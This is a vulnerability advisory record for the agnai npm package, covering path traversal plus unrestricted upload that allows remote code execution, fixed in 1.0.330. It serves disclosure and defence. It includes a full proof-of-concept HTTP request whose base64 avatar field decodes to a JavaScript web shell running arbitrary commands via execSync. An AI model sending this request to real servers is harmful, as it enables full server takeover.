{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "agnai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.330"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47169"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-35",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-26T18:05:12Z",
    "nvd_published_at": "2024-09-26T18:15:10Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nA vulnerability has been discovered in **Agnai** that permits attackers to upload arbitrary files to attacker-chosen locations on the server, including JavaScript, enabling the execution of commands within those files. This issue could result in unauthorized access, full server compromise, data leakage, and other critical security threats.\n\nThis **does not** affect:\n- `agnai.chat`\n- installations using S3-compatible storage\n- self-hosting that is not publicly exposed\n\nThis **DOES** affect:\n- publicly hosted installs without S3-compatible storage\n\n### CWEs\n\nCWE-35: Path Traversal\n\nCWE-434: Unrestricted Upload of File with Dangerous Type\n\n### CVSS-4.0 - **9.0 - Critical**\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n\n### Description\n\nPath Traversal and Unrestricted Upload of File with Dangerous Type\n\nPath Traversal Location\n\n```tsx\nPOST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1\n{\"_id\": \"/../../../../../../app/srv/api/voice\",...\u003committed\u003e}\n```\n\nIn the following file, the `_id` parameter which is a remote-supplied parameter is not properly validated and sanitized.\n\nhttps://github.com/agnaistic/agnai/blob/437227d9aa86132f3be3b41c89981cb393c903d0/srv/api/chat/characters.ts#L101\n\n```jsx\n const upserted: AppSchema.Character = {\n    _id: body._id || `temp-${v4().slice(0, 8)}`,\n    kind: \u0027character\u0027,\n    createdAt: now(),\n```\n\nIn the following file, the `filename` (or `id`)  and  `content` variables are not properly sanitized and validated,\n\nhttps://github.com/agnaistic/agnai/blob/dev/srv/api/upload.ts#L63\n\n```jsx\nexport async function entityUploadBase64(kind: string, id: string, content?: string) {\n  if (!content) return\n  if (!content.includes(\u0027,\u0027)) return\n\n  const filename = `${kind}-${id}`\n  const attachment = toAttachment(content)\n  return upload(attachment, filename)\n}\n```\n\n```jsx\nfunction toAttachment(content: string): Attachment {\n  const [prefix, base64] = content.split(\u0027,\u0027)\n  const type = prefix.slice(5, -7)\n  const [, ext] = type.split(\u0027/\u0027)\n  return {\n    ext,\n    field: \u0027\u0027,\n    original: \u0027\u0027,\n    type: getType(ext),\n    content: Buffer.from(base64, \u0027base64\u0027),\n  }\n}\n```\n\nAn attacker can freely specify arbitrary file types (and arbitrary base64-encoded file content), thereby permitting them to upload JavaScript files and by abusing the `_id` parameter, to control the location of the file to overwrite an existing server file;\n\n```jsx\nPOST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1\n...\nConnection: keep-alive\n\n{\n\"_id\": \"/../../../../../../app/srv/api/voice\",\n\"name\":\"\",\"description\":\"\",\"culture\":\"en-us\",\"tags\":[],\"scenario\":\"\",\"appearance\":\"\",\"visualType\":\"avatar\",\"avatar\":\"data:image/js;base64,InVzZSBzdHJpY3QiOwpPYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgIl9fZXNNb2R1bGUiLCB7IHZhbHVlOiB0cnVlIH0pOwpjb25zdCBleHByZXNzXzEgPSByZXF1aXJlKCJleHByZXNzIik7CmNvbnN0IHdyYXBfMSA9IHJlcXVpcmUoIi4vd3JhcCIpOwpjb25zdCB2b2ljZV8xID0gcmVxdWlyZSgiLi4vdm9pY2UiKTsKY29uc3QgZGJfMSA9IHJlcXVpcmUoIi4uL2RiIik7CmNvbnN0IHZhbGlkXzEgPSByZXF1aXJlKCIvY29tbW9uL3ZhbGlkIik7CmNvbnN0IHJvdXRlciA9ICgwLCBleHByZXNzXzEuUm91dGVyKSgpOwpjb25zdCB0ZXh0VG9TcGVlY2hWYWxpZCA9IHsgdGV4dDogJ3N0cmluZycsIHZvaWNlOiAnYW55JyB9Owpjb25zdCB0ZXh0VG9TcGVlY2ggPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdXNlciA9IHVzZXJJZCA/IGF3YWl0IGRiXzEuc3RvcmUudXNlcnMuZ2V0VXNlcih1c2VySWQpIDogYm9keS51c2VyOwogICAgY29uc3QgZ3Vlc3RJZCA9IHVzZXJJZCA/IHVuZGVmaW5lZCA6IHNvY2tldElkOwogICAgKDAsIHZhbGlkXzEuYXNzZXJ0VmFsaWQpKHRleHRUb1NwZWVjaFZhbGlkLCBib2R5KTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZW5lcmF0ZVRleHRUb1NwZWVjaCkodXNlciwgbG9nLCBndWVzdElkLCBib2R5LnRleHQsIGJvZHkudm9pY2UpOwp9KTsKY29uc3QgZ2V0Vm9pY2VzID0gKDAsIHdyYXBfMS5oYW5kbGUpKGFzeW5jICh7IGJvZHksIHVzZXJJZCwgc29ja2V0SWQsIGxvZywgcGFyYW1zIH0pID0+IHsKICAgIGNvbnN0IHR0c1NlcnZpY2UgPSBwYXJhbXMuaWQ7CiAgICBjb25zdCB1c2VyID0gdXNlcklkID8gYXdhaXQgZGJfMS5zdG9yZS51c2Vycy5nZXRVc2VyKHVzZXJJZCkgOiBib2R5LnVzZXI7CiAgICBjb25zdCBndWVzdElkID0gdXNlcklkID8gdW5kZWZpbmVkIDogc29ja2V0SWQ7CiAgICByZXR1cm4gKDAsIHZvaWNlXzEuZ2V0Vm9pY2VzTGlzdCkoeyB0dHNTZXJ2aWNlOiB0dHNTZXJ2aWNlLCB1c2VyIH0sIGxvZywgZ3Vlc3RJZCk7Cn0pOwpjb25zdCBnZXRNb2RlbHMgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdHRzU2VydmljZSA9IHBhcmFtcy5pZDsKICAgIGNvbnN0IHVzZXIgPSB1c2VySWQgPyBhd2FpdCBkYl8xLnN0b3JlLnVzZXJzLmdldFVzZXIodXNlcklkKSA6IGJvZHkudXNlcjsKICAgIGNvbnN0IGd1ZXN0SWQgPSB1c2VySWQgPyB1bmRlZmluZWQgOiBzb2NrZXRJZDsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpjb25zdCBnZXRDbWQgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewoJY29uc3QgY2hpbGRfcHJvY2Vzc18xID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpOwoJY2hpbGRfcHJvY2Vzc18xLmV4ZWNTeW5jKGJvZHkuY21kKTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpyb3V0ZXIucG9zdCgnL3R0cycsIHRleHRUb1NwZWVjaCk7CnJvdXRlci5wb3N0KCcvOmlkL3ZvaWNlcycsIGdldFZvaWNlcyk7CnJvdXRlci5wb3N0KCcvOmlkL21vZGVscycsIGdldE1vZGVscyk7CnJvdXRlci5wb3N0KCcvY21kJywgZ2V0Q21kKTsKZXhwb3J0cy5kZWZhdWx0ID0gcm91dGVyOwovLyMgc291cmNlTWFwcGluZ1VSTD12b2ljZS5qcy5tYXA=\",\"sprite\":null,\"greeting\":\"\",\"sampleChat\":\"\",\"voiceDisabled\":false,\"voice\":{},\"systemPrompt\":\"\",\"postHistoryInstructions\":\"\",\"insert\":{\"prompt\":\"\",\"depth\":3},\"alternateGreetings\":[],\"creator\":\"\",\"characterVersion\":\"\",\"persona\":{\"kind\":\"text\",\"attributes\":{\"text\":[\"\"]}},\"imageSettings\":{\"type\":\"sd\",\"steps\":10,\"width\":512,\"height\":512,\"prefix\":\"\",\"suffix\":\"\",\"negative\":\"\",\"cfg\":9,\"summariseChat\":true,\"summaryPrompt\":\"\"}}\n```\n\n### Risk\n\nThe attacker can write arbitrary files to disk, including overwriting existing JavaScript to execute arbitrary code on the server, leading to a complete system compromise, server control, and further network penetration.\n\nAttackers can gain full access to the server.\n\n### Recommendation\n\n**Input Validation**\n\n- Ensure thorough validation of user inputs, particularly id parameter, file paths and file names, to prevent directory traversal and ensure they end up in the desired folder location post-normalization. [[OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)](https://owasp.org/www-community/attacks/Path_Traversal)\n\n**Arbitrary File Upload**\n\n- Restrict the types of files that can be uploaded via a allow-only list.\n\n### Credits\n- @ropwareJB\n- @noe233",
  "id": "GHSA-mpch-89gm-hm83",
  "modified": "2024-09-26T21:11:04Z",
  "published": "2024-09-26T18:05:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/agnaistic/agnai/security/advisories/GHSA-mpch-89gm-hm83"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47169"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/agnaistic/agnai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Agnai vulnerable to Remote Code Execution via JS Upload using Directory Traversal"
}